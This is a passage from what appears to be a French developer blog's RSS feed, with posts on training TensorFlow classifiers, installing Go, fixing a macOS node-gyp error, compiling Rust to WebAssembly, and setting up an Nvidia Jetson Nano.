<pre tabindex="0"><code>training_features , test_features ,training_labels, test_labels = train_test_split(X_data , Y_data , test_size=0.2)

print(&#39;Number of rows in Training Features: &#39;, training_features.shape[0])
print(&#39;Number of rows in Test Features: &#39;, test_features.shape[0])
print(&#39;Number of columns in Training Features: &#39;, training_features.shape[1])
print(&#39;Number of columns in Test Features: &#39;, test_features.shape[1])

print(&#39;Number of rows in Training Label: &#39;, training_labels.shape[0])
print(&#39;Number of rows in Test Label: &#39;, test_labels.shape[0])
print(&#39;Number of columns in Training Label: &#39;, training_labels.shape[1])
print(&#39;Number of columns in Test Label: &#39;, test_labels.shape[1])

stats = training_features.describe()
stats = stats.transpose()
print(stats)

stats = test_features.describe()
stats = stats.transpose()
print(stats)
</code></pre><br/>
<p><strong>Normalisation des données:</strong></p>
<pre tabindex="0"><code>def normalize(x):
  stats = x.describe()
  stats = stats.transpose()
  return (x - stats[&#39;mean&#39;]) / stats[&#39;std&#39;]

normed_train_features = normalize(training_features)
normed_test_features = normalize(test_features)
</code></pre><br/>
<p><strong>Construction de la pipeline d&rsquo;input:</strong></p>
<pre tabindex="0"><code>def feed_input(features_dataframe, target_dataframe, num_of_epochs=10, shuffle=True, batch_size=32):
  def input_feed_function():
    dataset = tf.data.Dataset.from_tensor_slices((dict(features_dataframe), target_dataframe))
    if shuffle:
      dataset = dataset.shuffle(2000)
    dataset = dataset.batch(batch_size).repeat(num_of_epochs)
    return dataset
  return input_feed_function

train_feed_input = feed_input(normed_train_features, training_labels)
train_feed_input_testing = feed_input(normed_train_features, training_labels, num_of_epochs=1, shuffle=False)
test_feed_input = feed_input(normed_test_features, test_labels, num_of_epochs=1, shuffle=False)
</code></pre><br/>
<p><strong>Entrainement du modèle:</strong></p>
<pre tabindex="0"><code>feature_columns_numeric = [tf.feature_column.numeric_column(m) for m in training_features.columns]

logistic_model = LinearClassifier(feature_columns=feature_columns_numeric)

logistic_model.train(train_feed_input)
</code></pre><br/>
<p><strong>Prédictions:</strong></p>
<pre tabindex="0"><code>train_predictions = logistic_model.predict(train_feed_input_testing)
test_predictions = logistic_model.predict(test_feed_input)

train_predictions_series = pd.Series([p[&#39;classes&#39;][0].decode(&#34;utf-8&#34;)   for p in train_predictions])
test_predictions_series = pd.Series([p[&#39;classes&#39;][0].decode(&#34;utf-8&#34;)   for p in test_predictions])

train_predictions_df = pd.DataFrame(train_predictions_series, columns=[&#39;predictions&#39;])
test_predictions_df = pd.DataFrame(test_predictions_series, columns=[&#39;predictions&#39;])

training_labels.reset_index(drop=True, inplace=True)
train_predictions_df.reset_index(drop=True, inplace=True)

test_labels.reset_index(drop=True, inplace=True)
test_predictions_df.reset_index(drop=True, inplace=True)

train_labels_with_predictions_df = pd.concat([training_labels, train_predictions_df], axis=1)
test_labels_with_predictions_df = pd.concat([test_labels, test_predictions_df], axis=1)
</code></pre><br/>
<p><strong>Validation:</strong></p>
<pre tabindex="0"><code>def calculate_binary_class_scores(y_true, y_pred):
  accuracy = accuracy_score(y_true, y_pred.astype(&#39;int64&#39;))
  precision = precision_score(y_true, y_pred.astype(&#39;int64&#39;))
  recall = recall_score(y_true, y_pred.astype(&#39;int64&#39;))
  return accuracy, precision, recall

train_accuracy_score, train_precision_score, train_recall_score = calculate_binary_class_scores(training_labels, train_predictions_series)
test_accuracy_score, test_precision_score, test_recall_score = calculate_binary_class_scores(test_labels, test_predictions_series)

print(&#39;Training Data Accuracy (%) = &#39;, round(train_accuracy_score*100,2))
print(&#39;Training Data Precision (%) = &#39;, round(train_precision_score*100,2))
print(&#39;Training Data Recall (%) = &#39;, round(train_recall_score*100,2))
print(&#39;-&#39;*40)
print(&#39;Test Data Accuracy (%) = &#39;, round(test_accuracy_score*100,2))
print(&#39;Test Data Precision (%) = &#39;, round(test_precision_score*100,2))
print(&#39;Test Data Recall (%) = &#39;, round(test_recall_score*100,2))
</code></pre><br/>
<p><strong>Output:</strong></p>
<p>Training Data Accuracy (%) =  93.75<br/>
Training Data Precision (%) =  93.02<br/>
Training Data Recall (%) =  95.24<br/>
&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;-<br/>
Test Data Accuracy (%) =  90.0<br/>
Test Data Precision (%) =  80.0<br/>
Test Data Recall (%) =  100.0</p>
<br/>
<h1 id="gradient-boosting">Gradient boosting</h1>
<p><strong>Second entrainement d&rsquo;un modèle avec Gradient boosting:</strong></p>
<pre tabindex="0"><code>feature_columns_numeric = [tf.feature_column.numeric_column(m) for m in training_features.columns]
from tensorflow.estimator import BoostedTreesClassifier
btree_model = BoostedTreesClassifier(feature_columns=feature_columns_numeric, n_batches_per_layer=1)
btree_model.train(train_feed_input)
</code></pre><br/>
<p><strong>Prédictions:</strong></p>
<pre tabindex="0"><code>train_predictions = btree_model.predict(train_feed_input_testing)
test_predictions = btree_model.predict(test_feed_input)
train_predictions_series = pd.Series([p[&#39;classes&#39;][0].decode(&#34;utf-8&#34;) for p in train_predictions]) 
test_predictions_series = pd.Series([p[&#39;classes&#39;][0].decode(&#34;utf-8&#34;) for p in test_predictions])

train_predictions_df = pd.DataFrame(train_predictions_series, columns=[&#39;predictions&#39;])
test_predictions_df = pd.DataFrame(test_predictions_series, columns=[&#39;predictions&#39;]) 
training_labels.reset_index(drop=True, inplace=True)
train_predictions_df.reset_index(drop=True, inplace=True)

test_labels.reset_index(drop=True, inplace=True)
test_predictions_df.reset_index(drop=True, inplace=True)
train_labels_with_predictions_df = pd.concat([training_labels, train_predictions_df], axis=1)
test_labels_with_predictions_df = pd.concat([test_labels, test_predictions_df], axis=1)
</code></pre><br/>
<p><strong>Validation:</strong></p>
<pre tabindex="0"><code>def calculate_binary_class_scores(y_true, y_pred): 
  accuracy = accuracy_score(y_true, y_pred.astype(&#39;int64&#39;)) 
  precision = precision_score(y_true, y_pred.astype(&#39;int64&#39;)) 
  recall = recall_score(y_true, y_pred.astype(&#39;int64&#39;)) 
  return accuracy, precision, recall

train_accuracy_score, train_precision_score, train_recall_score = calculate_binary_class_scores(training_labels, train_predictions_series)
test_accuracy_score, test_precision_score, test_recall_score = calculate_binary_class_scores(test_labels, test_predictions_series)
print(&#39;Training Data Accuracy (%) = &#39;, round(train_accuracy_score*100,2))

print(&#39;Training Data Precision (%) = &#39;, round(train_precision_score*100,2))
print(&#39;Training Data Recall (%) = &#39;, round(train_recall_score*100,2))
print(&#39;-&#39;*40)
print(&#39;Test Data Accuracy (%) = &#39;, round(test_accuracy_score*100,2))
print(&#39;Test Data Precision (%) = &#39;, round(test_precision_score*100,2))
print(&#39;Test Data Recall (%) = &#39;, round(test_recall_score*100,2))
</code></pre><br/>
<p><strong>Output:</strong></p>
<p>Training Data Accuracy (%) =  100.0<br/>
Training Data Precision (%) =  100.0<br/>
Training Data Recall (%) =  100.0<br/>
&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;-<br/>
Test Data Accuracy (%) =  95.0<br/>
Test Data Precision (%) =  100.0<br/>
Test Data Recall (%) =  91.67</p>
]]></content>
        </item>
        
        <item>
            <title>Installer Go</title>
            <link>https://leandeep.com/installer-go/</link>
            <pubDate>Wed, 01 Jan 2020 10:59:00 +0000</pubDate>
            
            <guid>https://leandeep.com/installer-go/</guid>
            <description>&lt;h2 id=&#34;installation-sur-osx&#34;&gt;Installation sur OSX&lt;/h2&gt;
&lt;p&gt;Rien de plus simple avec Homebrew mais avant d&amp;rsquo;utiliser cet utilitaire, il est utile d&amp;rsquo;ajouter les variables d&amp;rsquo;environnement suivantes dans votre &lt;code&gt;~/.zshrc&lt;/code&gt;.&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;export GOPATH=&amp;#34;${HOME}/.go&amp;#34;
export GOROOT=&amp;#34;$(brew --prefix golang)/libexec&amp;#34;
export PATH=&amp;#34;$PATH:${GOPATH}/bin:${GOROOT}/bin&amp;#34;
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;p&gt;Recharger son terminal:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;source ~/.zshrc
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;p&gt;Installer go:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;brew install go
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;p&gt;Vérifier que l&amp;rsquo;installation a bien fonctionné:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;go get golang.org/x/tools/cmd/godoc
go get golang.org/x/lint/golint
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Pensez à installer &lt;a href=&#34;https://marketplace.visualstudio.com/items/lukehoban.Go&#34;&gt;l&amp;rsquo;extension suivante pour VSCode&lt;/a&gt;.&lt;/p&gt;
&lt;br/&gt;
&lt;h2 id=&#34;installation-sur-ubuntu-1804&#34;&gt;Installation sur Ubuntu 18.04&lt;/h2&gt;
&lt;p&gt;Télécharger le binaire go:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;wget https://dl.google.com/go/go1.13.linux-amd64.tar.gz
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;p&gt;Décompresser le binaire go dans &lt;code&gt;/usr/local&lt;/code&gt;:&lt;/p&gt;</description>
            <content type="html"><![CDATA[<h2 id="installation-sur-osx">Installation sur OSX</h2>
<p>Rien de plus simple avec Homebrew mais avant d&rsquo;utiliser cet utilitaire, il est utile d&rsquo;ajouter les variables d&rsquo;environnement suivantes dans votre <code>~/.zshrc</code>.</p>
<pre tabindex="0"><code>export GOPATH=&#34;${HOME}/.go&#34;
export GOROOT=&#34;$(brew --prefix golang)/libexec&#34;
export PATH=&#34;$PATH:${GOPATH}/bin:${GOROOT}/bin&#34;
</code></pre><br/>
<p>Recharger son terminal:</p>
<pre tabindex="0"><code>source ~/.zshrc
</code></pre><br/>
<p>Installer go:</p>
<pre tabindex="0"><code>brew install go
</code></pre><br/>
<p>Vérifier que l&rsquo;installation a bien fonctionné:</p>
<pre tabindex="0"><code>go get golang.org/x/tools/cmd/godoc
go get golang.org/x/lint/golint
</code></pre><p>Pensez à installer <a href="https://marketplace.visualstudio.com/items/lukehoban.Go">l&rsquo;extension suivante pour VSCode</a>.</p>
<br/>
<h2 id="installation-sur-ubuntu-1804">Installation sur Ubuntu 18.04</h2>
<p>Télécharger le binaire go:</p>
<pre tabindex="0"><code>wget https://dl.google.com/go/go1.13.linux-amd64.tar.gz
</code></pre><br/>
<p>Décompresser le binaire go dans <code>/usr/local</code>:</p>
<pre tabindex="0"><code>sudo tar -C /usr/local -xzf go1.13.linux-amd64.tar.gz
</code></pre><br/>
<p>Ajouter les lignes suivantes dans le fichier <code>~/.profile</code>:</p>
<pre tabindex="0"><code>export PATH=$PATH:/usr/local/go/bin
export GOPATH=&#34;${HOME}/.go/bin&#34;
export PATH=$GOPATH:$PATH
</code></pre><br/>
<p>Recharger le fichier <code>~/.profile</code>:</p>
<pre tabindex="0"><code>source ~/.profile
</code></pre><br/>
<p>Vérifier que Go est bien installé:</p>
<pre tabindex="0"><code>go version
</code></pre><br/>
<blockquote>
<p>Installer au moins les packages suivants: <code>apt-get install build-essential git</code> pour avoir <code>gcc</code> et <code>g++</code>.</p></blockquote>
<blockquote>
<p>Vérifier le bon fonctionnement de <code>go get</code>. Par exemple: <code>go get github.com/anacrolix/torrent/cmd/torrent</code></p></blockquote>
]]></content>
        </item>
        
        <item>
            <title>NodeJS OSX Catalina fix No receipt for com.apple.pkg.xxx</title>
            <link>https://leandeep.com/nodejs-osx-catalina-fix-no-receipt-for-com.apple.pkg.xxx/</link>
            <pubDate>Mon, 30 Dec 2019 14:02:00 +0000</pubDate>
            
            <guid>https://leandeep.com/nodejs-osx-catalina-fix-no-receipt-for-com.apple.pkg.xxx/</guid>
            <description>&lt;p&gt;Lors de l&amp;rsquo;installation de paquets NPM nécessitant de compiler du code vous pouvez rencontrer l&amp;rsquo;erreur suivante après avoir installé OSX Catalina.&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;&amp;gt; node-gyp rebuild

No receipt for &amp;#39;com.apple.pkg.CLTools_Executables&amp;#39; found at &amp;#39;/&amp;#39;.

No receipt for &amp;#39;com.apple.pkg.DeveloperToolsCLILeo&amp;#39; found at &amp;#39;/&amp;#39;.

No receipt for &amp;#39;com.apple.pkg.DeveloperToolsCLI&amp;#39; found at &amp;#39;/&amp;#39;.

gyp: No Xcode or CLT version detected!
gyp ERR! configure error
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;p&gt;Pour solutionner le problème exécutez la commande suivante:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;sudo xcode-select -s /Applications/Xcode.app/Contents/Developer
&lt;/code&gt;&lt;/pre&gt;</description>
            <content type="html"><![CDATA[<p>Lors de l&rsquo;installation de paquets NPM nécessitant de compiler du code vous pouvez rencontrer l&rsquo;erreur suivante après avoir installé OSX Catalina.</p>
<pre tabindex="0"><code>&gt; node-gyp rebuild

No receipt for &#39;com.apple.pkg.CLTools_Executables&#39; found at &#39;/&#39;.

No receipt for &#39;com.apple.pkg.DeveloperToolsCLILeo&#39; found at &#39;/&#39;.

No receipt for &#39;com.apple.pkg.DeveloperToolsCLI&#39; found at &#39;/&#39;.

gyp: No Xcode or CLT version detected!
gyp ERR! configure error
</code></pre><br/>
<p>Pour solutionner le problème exécutez la commande suivante:</p>
<pre tabindex="0"><code>sudo xcode-select -s /Applications/Xcode.app/Contents/Developer
</code></pre>]]></content>
        </item>
        
        <item>
            <title>Rust to Webassembly</title>
            <link>https://leandeep.com/rust-to-webassembly/</link>
            <pubDate>Sun, 22 Dec 2019 18:28:03 +0000</pubDate>
            
            <guid>https://leandeep.com/rust-to-webassembly/</guid>
            <description>&lt;h2 id=&#34;introduction&#34;&gt;Introduction&lt;/h2&gt;
&lt;p&gt;L&amp;rsquo;objectif de cet article est de voir comment compiler un tout petit programme en Rust et de l&amp;rsquo;appeler soit dans un navigateur, soit dans un programme NodeJS ou soit dans un programme Python.&lt;/p&gt;
&lt;br/&gt;
&lt;h2 id=&#34;installation&#34;&gt;Installation&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Installer rustup&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Rustup is an installer for the systems programming language Rust&lt;/p&gt;&lt;/blockquote&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;curl --proto &amp;#39;=https&amp;#39; --tlsv1.2 -sSf https://sh.rustup.rs | sh
source $HOME/.cargo/env
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;p&gt;&lt;strong&gt;Installer wasm-pack&lt;/strong&gt;&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;curl https://rustwasm.github.io/wasm-pack/installer/init.sh -sSf | sh
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;h2 id=&#34;création-dune-librairie-rust&#34;&gt;Création d&amp;rsquo;une librairie Rust&lt;/h2&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;cargo new --lib days-count
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Remplacer le contenu du fichier &lt;code&gt;days-count/src/lib.rs&lt;/code&gt; par celui-ci:&lt;/p&gt;</description>
            <content type="html"><![CDATA[<h2 id="introduction">Introduction</h2>
<p>L&rsquo;objectif de cet article est de voir comment compiler un tout petit programme en Rust et de l&rsquo;appeler soit dans un navigateur, soit dans un programme NodeJS ou soit dans un programme Python.</p>
<br/>
<h2 id="installation">Installation</h2>
<p><strong>Installer rustup</strong></p>
<blockquote>
<p>Rustup is an installer for the systems programming language Rust</p></blockquote>
<pre tabindex="0"><code>curl --proto &#39;=https&#39; --tlsv1.2 -sSf https://sh.rustup.rs | sh
source $HOME/.cargo/env
</code></pre><br/>
<p><strong>Installer wasm-pack</strong></p>
<pre tabindex="0"><code>curl https://rustwasm.github.io/wasm-pack/installer/init.sh -sSf | sh
</code></pre><br/>
<h2 id="création-dune-librairie-rust">Création d&rsquo;une librairie Rust</h2>
<pre tabindex="0"><code>cargo new --lib days-count
</code></pre><p>Remplacer le contenu du fichier <code>days-count/src/lib.rs</code> par celui-ci:</p>
<pre tabindex="0"><code>/// Count the number of calendar days between two dates given as
/// timestamps in milliseconds. Make the assumption that One day is
/// 86_400_000 milliseconds (leap seconds are ignored).
use wasm_bindgen::prelude::*;

#[wasm_bindgen]
pub fn count_days_between(timestamp_ms_a: u64, timestamp_ms_b: u64) -&gt; u64 {
    let days_count_a = timestamp_ms_a / 1000 / 3600 / 24;
    let days_count_b = timestamp_ms_b / 1000 / 3600 / 24;
    let days_count_between = match days_count_a.checked_sub(days_count_b) {
        Some(difference) =&gt; difference,
        None =&gt; days_count_b - days_count_a,
    };

    return days_count_between;
}

#[cfg(test)]
mod tests {
    use super::*;

    #[test]
    fn it_returns_365_between_xmas_2018_and_xmas_2019() {
        assert_eq!(count_days_between(1545696000000, 1577232000000), 365);
    }

    #[test]
    fn it_returns_365_between_xmas_2019_and_xmas_2018() {
        assert_eq!(count_days_between(1577232000000, 1545696000000), 365);
    }

    #[test]
    fn it_returns_0_for_two_timestamps_in_the_same_day() {
        // 2019/11/14 at 00:00, and later in the day
        assert_eq!(count_days_between(1573689600000, 1573750188321), 0);
    }

    #[test]
    fn it_returns_29_in_february_of_a_leap_year() {
        // 2012/03/01 &amp; 2012/02/01
        assert_eq!(count_days_between(1330560000000, 1328054400000), 29);
    }
}
</code></pre><br/>
<p><strong>Ajouter la cible permettant de compiler du Rust en WebAssembly</strong></p>
<pre tabindex="0"><code>rustup target add wasm32-unknown-unknown
</code></pre><p>Modifier le fichier <code>Cargo.toml</code> et ajouter le contenu suivant:</p>
<pre tabindex="0"><code>[dependencies]
wasm-bindgen = &#34;0.2&#34;

[lib]
crate-type = [&#34;cdylib&#34;]
</code></pre><br/>
<h2 id="accéder-au-wasm-depuis-nodejs">Accéder au wasm depuis NodeJS</h2>
<p>On compile la librairie grâce à la commande suivante:</p>
<pre tabindex="0"><code>wasm-pack build --release --target nodejs
</code></pre><pre tabindex="0"><code>mkdir nodejs &amp;&amp; cd nodejs
yarn init -y # ou : npm init -y
yarn add --dev ../pkg # ou : npm i -D ../pkg
touch index.js
</code></pre><p>On importe le module days-count généré par wasm-pack et on exécute la fonction count_days_between dans notre fichier NodeJS:</p>
<p>Pour ce faire, on modifie donc le fichier <code>nodejs/index.js</code> avec le qui suit:</p>
<pre tabindex="0"><code>const daysCount = require(&#39;days-count&#39;);

console.log(
  daysCount.count_days_between(
    // 01/02/2012
    BigInt(1330560000000),
    // 01/03/2012
    BigInt(1328054400000)
  )
);
</code></pre><p>En exécutant node nodejs/index.js on obtient bien <code>29</code> en output.</p>
<br/>
<h2 id="accéder-au-wasm-depuis-le-navigateur">Accéder au wasm depuis le Navigateur</h2>
<p>On compile le project Rust:</p>
<pre tabindex="0"><code>wasm-pack build --release --target bundler
</code></pre><p>On crée un projet basé sur la template NPM wasm-app:</p>
<pre tabindex="0"><code>mkdir browser &amp;&amp; cd browser
npm init wasm-app
yarn add --dev ../pkg # ou : npm i -D ../pkg
yarn &amp;&amp; yarn build # ou npm install &amp;&amp; npm run build
</code></pre><p>On modifie le fichier <code>browser/index.js</code> et on lui donne le contenu suivant:</p>
<pre tabindex="0"><code>import * as daysCount from &#39;days-count&#39;;

// pour changer du console.log
document.body.append(
  daysCount.count_days_between(
    // 01/02/2012
    BigInt(1330560000000),
    // 01/03/2012
    BigInt(1328054400000)
  )
);
</code></pre><p>On lance le projet avec <code>yarn start</code> et on se rend à l&rsquo;adresse suivante <code>http://localhost:8080</code> pour voir le résultat de la fonction Rust exécutée.</p>
<br/>
<h2 id="bonus---accéder-à-un-wasm-depuis-python">Bonus - Accéder à un wasm depuis Python</h2>
<p>Créer une nouvelle librairie:</p>
<pre tabindex="0"><code>cargo new --lib simple
</code></pre><br/>
<p>Modifier le fichier <code>simple/src/lib.rs</code> et ajouter la fonction Rust suivante:</p>
<pre tabindex="0"><code>#[no_mangle]
pub extern fn simple_add(a: i32, b: i32) -&gt; i32 { a + b}
</code></pre><br/>
<p>Ajouter la target suivante en exécutant cette commande dans votre terminal:</p>
<pre tabindex="0"><code>rustup target add wasm32-unknown-unknown
</code></pre><br/>
<p>Modifier le fichier <code>Cargo.toml</code> et ajouter le contenu suivant:</p>
<pre tabindex="0"><code>[dependencies]
wasm-bindgen = &#34;0.2&#34;

[lib]
crate-type = [&#34;cdylib&#34;]
</code></pre><br/>
<p>Créer un fichier simple.py qui va appeler notre binaire wasm:</p>
<pre tabindex="0"><code>from wasmer import Instance
path = &#39;./target/wasm32-unknown-unknown/release/simple.wasm&#39;
with open(path, ‘rb’) as bytecode:
    wasm_bytes = bytecode.read()
    instance = Instance(wasm_bytes)
    result = instance.exports.simple_add(12, 12)
    print(&#39;Modules exported from Rust: &#39;)
    print(instance.exports)  # this will print function&#39;s name
    print(&#39;call simple_add(12, 12): &#39;)
    print(result)  # 24
</code></pre><br/>
<p>Exécuter le fichier python: <code>python simple.py</code> et observer le résultat.</p>
<pre tabindex="0"><code>Modules exported from Rust:
[&#34;simple_add&#34;]
call simple_add(12, 12):
24
</code></pre><br/>
<blockquote>
<p>Notes: pour installer un package cargo, il faut ajouter la dépendance dans le fichier <code>Cargo.toml</code> et exécuter la commande <code>cargo build</code>.</p></blockquote>
]]></content>
        </item>
        
        <item>
            <title>Jetson Nano</title>
            <link>https://leandeep.com/jetson-nano/</link>
            <pubDate>Sun, 22 Dec 2019 16:35:00 +0000</pubDate>
            
            <guid>https://leandeep.com/jetson-nano/</guid>
            <description>&lt;h2 id=&#34;découverte-du-nvidia-jetson-nano&#34;&gt;Découverte du Nvidia Jetson Nano&lt;/h2&gt;
&lt;p&gt;J&amp;rsquo;ai eu la chance de recevoir par Nvidia (encore un grand merci!) une board Jetson Nano pour la construction de mon robot autonome. Cette carte est un peu comme un Raspberry Pi en plus puissant avec une carte graphique intégrée. Et elle est vraiment très abordable. Elle coûte environ 140 €. Selon moi ses caractéristiques techniques en font une carte parfaitement adaptée à ceux qui veulent s&amp;rsquo;initier au &lt;strong&gt;Edge Deep Learning&lt;/strong&gt;. Avec ce genre de carte, on n&amp;rsquo;a plus besoin du Cloud pour faire l&amp;rsquo;inférence de modèle de Machine Learinig utilisant des librairies GPU. Cette carte est parfaite pour les sujets IoT. &lt;em&gt;On aura besoin du Cloud juste au moment où il faudra upgrader ses modèles de Machine/ Deep Learning.&lt;/em&gt;&lt;/p&gt;</description>
            <content type="html"><![CDATA[<h2 id="découverte-du-nvidia-jetson-nano">Découverte du Nvidia Jetson Nano</h2>
<p>J&rsquo;ai eu la chance de recevoir par Nvidia (encore un grand merci!) une board Jetson Nano pour la construction de mon robot autonome. Cette carte est un peu comme un Raspberry Pi en plus puissant avec une carte graphique intégrée. Et elle est vraiment très abordable. Elle coûte environ 140 €. Selon moi ses caractéristiques techniques en font une carte parfaitement adaptée à ceux qui veulent s&rsquo;initier au <strong>Edge Deep Learning</strong>. Avec ce genre de carte, on n&rsquo;a plus besoin du Cloud pour faire l&rsquo;inférence de modèle de Machine Learinig utilisant des librairies GPU. Cette carte est parfaite pour les sujets IoT. <em>On aura besoin du Cloud juste au moment où il faudra upgrader ses modèles de Machine/ Deep Learning.</em></p>
<p>Voici une première review de cette carte. D&rsquo;autres articles viendront le compléter&hellip;</p>
<br/>
<h2 id="caractéristiques-techniques">Caractéristiques techniques</h2>
<table>
  <thead>
      <tr>
          <th></th>
          <th></th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>CPU</td>
          <td style="text-align: right">Quad-core ARM® Cortex®-A57 MPCore processor</td>
      </tr>
      <tr>
          <td>GPU</td>
          <td style="text-align: right">NVIDIA Maxwell™ architecture with 128 NVIDIA CUDA® cores</td>
      </tr>
      <tr>
          <td>RAM</td>
          <td style="text-align: right">4 GB 64-bit LPDDR4</td>
      </tr>
      <tr>
          <td>Storage</td>
          <td style="text-align: right">16 GB eMMC 5.1 Flash</td>
      </tr>
      <tr>
          <td>Camera</td>
          <td style="text-align: right">12 lanes (3×4 or 4×2) MIPI CSI-2 DPHY 1.1 (1.5 Gbps)</td>
      </tr>
      <tr>
          <td>Connectivity</td>
          <td style="text-align: right">Gigabit Ethernet</td>
      </tr>
      <tr>
          <td>Display Ports</td>
          <td style="text-align: right">HDMI 2.0 and DP 1.2</td>
      </tr>
      <tr>
          <td>USB Ports</td>
          <td style="text-align: right">1 USB 3.0 and 3 USB 2.0</td>
      </tr>
      <tr>
          <td>Other</td>
          <td style="text-align: right">1 x1/2/4 PCIE, 1x SDIO / 2x SPI / 6x I2C / 2x I2S / GPIOs</td>
      </tr>
      <tr>
          <td>Size</td>
          <td style="text-align: right">69.6 mm x 45 mm</td>
      </tr>
  </tbody>
</table>
<br/>
<p><img src="/images/jetson-nano.png" alt="image"></p>
<br/>
<h2 id="alimentation-électrique">Alimentation électrique</h2>
<p>Il y a 3 manières d&rsquo;alimenter le Jetson Nano Developer Kit.</p>
<p>Premièrement, on peut le faire avec un cable micro-USB qui va fournir 5V et 2A.</p>
<p>Deuxièmement, on peut utiliser une ou deux pins du GPIO qui peuvent recevoir 5V et 3A chacune. On arrive donc à une intensité totale de 6A.</p>
<p>La troisième méthode consiste à utiliser le connecteur <em>Barrel Jack</em> qui reçoit du 5V et 4A. Personnellement, c&rsquo;est la méthode que j&rsquo;utilise. Pour que cela fonctionne, il faut relier entre elles les broches du jumper j48. Si vous branchez beaucoup de périphériques à votre Nano privilégiez cette option. Lorsque le Jumper est positionné sur la carte, le micro-USB passe en mode transfert de données.</p>
<blockquote>
<p>Pour info, l&rsquo;alimentation PoE (Power Over Ethernet) n&rsquo;est pas supportée&hellip; Par contre les broches sont disponibles sur le connecteur j38</p></blockquote>
<p>Deux modes d&rsquo;alimentation sont disponibles: le mode 5W et le mode 10W.</p>
<p>Pour passer en mode 5W:</p>
<pre tabindex="0"><code>sudo nvpmodel -m 1
</code></pre><p>Pour passer en mode 10W:</p>
<pre tabindex="0"><code>sudo nvpmodel -m 0
</code></pre><br/>
<h2 id="installation-des-softs">Installation des Softs</h2>
<p><strong>Création de la carte micro SD</strong></p>
<p>Des images Linux <a href="https://developer.nvidia.com/embedded/dlc/jetson-nano-dev-kit-sd-card-image">Linux4Tegra</a> (Ubuntu 18.04 optimisé pour le hardware Nvidia) sont disponibles sur le site de Nvidia pour démarrer très vite.
Avec un utilitaire comme <a href="https://unetbootin.github.io/">Unetbootin</a> sur Mac (ou Win32 Disk Imager sur Windows), on peut créer une carte MicroSD bootable pour démarrer Linux sur son Jetson Nano.</p>
<br/>
<p><strong>Installation d&rsquo;un virtualenv</strong></p>
<pre tabindex="0"><code>sudo apt-get install virtualenv -y
mkdir ~/envs
cd ~/envs
virtualenv --python python3 ai_env
source ~/envs/ai_env/bin/activate
echo &#39;source ~/envs/ai_env/bin/activate&#39; &gt;&gt; ~/.bashrc
</code></pre><br/>
<p><strong>OpenCV</strong></p>
<p>OpenCV est déjà installé sur cette distribution. Pour l&rsquo;utiliser dans son projet Python à l&rsquo;intérieur d&rsquo;un environnement virtuel, il suffit d&rsquo;exécuter les commandes suivantes:</p>
<pre tabindex="0"><code>sudo find / -name &#34;cv2*&#34;

[sudo] password for olivier:

find: &#39;/run/user/1000/gvfs&#39;: Permission denied

/usr/lib/python2.7/dist-packages/cv2.so
/usr/lib/python3.6/dist-packages/cv2.cpython-36m-aarch64-linux-gnu.so

cd ~/envs/ai_env/lib/python3.6/site-packages/

ln -s /usr/lib/python3.6/dist-packages/cv2.cpython-36m-aarch64-linux-gnu.so
</code></pre><p>Pour vérfier que le symlink a bien fonctionné et qu&rsquo;OpenCV est fonctionnel, vous pouvez exécuter les commandes suivantes:</p>
<pre tabindex="0"><code>python
&gt;&gt;&gt; import cv2
&gt;&gt;&gt; print(cv2.__version__)
3.3.1
</code></pre><br/>
<p>Sinon il peut être intéressant de réinstaller la librairie globalement pour ne plus perdre de temps:</p>
<pre tabindex="0"><code>sudo apt-get install python3-opencv

python3
Python 3.6.8
[GCC 8.3.0] on linux
Type &#34;help&#34;, &#34;copyright&#34;, &#34;credits&#34; or &#34;license&#34; for more information.
&gt;&gt;&gt; import cv2
&gt;&gt;&gt; cv2._version
Traceback (most recent call last):
  File &#34;&lt;stdin&gt;&#34;, line 1, in &lt;module&gt;
AttributeError: module &#39;cv2&#39; has no attribute &#39;_version&#39;
&gt;&gt;&gt; cv2.__version__
&#39;3.2.0&#39;
</code></pre><br/>
<p><strong>Installation de modules de base</strong></p>
<pre tabindex="0"><code>sudo apt-get update
sudo apt-get upgrade
# Installer le moteur de polices FreeType 2
sudo apt-get install libfreetype6-dev -y
# Installer le gestionnaire de flags de compilation et d&#39;édition de lien pour les libs
sudo apt-get install pkg-config -y
sudo apt-get install zlib1g-dev zip libjpeg8-dev libhdf5-dev -y
sudo apt-get install libssl-dev libffi-dev python3-dev -y
sudo apt-get install libhdf5-serial-dev hdf5-tools -y
# For numpy install https://packages.debian.org/jessie/liblapack-dev &amp; https://packages.debian.org/jessie/libblas-dev &amp; https://packages.debian.org/jessie/libatlas-base-dev (see below)
sudo apt-get install libblas-dev liblapack-dev libatlas-base-dev -y
# Installation d&#39;un compilateur fortran 
sudo apt-get install gfortran
sudo apt-get install build-essential cmake libgtk-3-dev libboost-all-dev -y
sudo apt-get install nano vim tmux -y
pip install matplotlib
pip install scikit-build
